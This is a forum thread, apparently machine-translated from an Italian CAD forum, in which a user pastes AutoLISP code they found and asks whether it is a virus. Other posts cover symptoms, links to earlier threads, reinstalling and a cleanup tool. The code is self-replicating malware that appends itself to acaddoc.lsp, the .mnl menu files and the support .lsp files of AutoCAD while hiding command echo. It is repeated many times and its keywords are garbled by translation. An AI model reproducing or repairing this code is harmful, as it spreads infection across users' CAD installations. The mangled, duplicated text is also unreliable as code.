(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)

 

[jim78b]

l'étrange est que l'ouverture de ces fichiers vous sputtana me possède autocad mécanique... si je fais rec pour faire rectangle ne le fait plus!!!

 

[jim78b]

lire J'ai lu que si elle génère pour chaque fichier un acadoc. Isp est un virus!!!! !

 

[MassiVonWeizen]

https://www.cad3d.it/forum1/threads...-inconvenience?p=238002&viewfull=1#post238002
https://www.cad3d.it/forum1/threads...-ogni-file-dwg?p=287645&viewfull=1#post287645

 

[jim78b]

https://www.cad3d.it/forum1/threads...-inconvenience?p=238002&viewfull=1#post238002
https://www.cad3d.it/forum1/threads...-ogni-file-dwg?p=287645&viewfull=1#post287645

J'ai tout supprimé sauf l'acaddoc. lsp est-il normal qu'il soit sur les fichiers d'installation ?

 

[jim78b]

ok résolu réinstaller et dire le type qui m'a envoyé les fichiers qu'il y avait le virus . cmq merci si vous ne me redémarrez pas et j'essaie votre solution.

Alors dis-moi que c'est normal d'avoir de l'acaddoc. Des fichiers d'installation ?

 

[jim78b]

aujourd'hui avec lspcleaner m'a trouvé dans les dossiers des fichiers d'installation le fichier acaddoc.lsp et d'autres lisp. Il l'a annulé ! Est-ce possible ?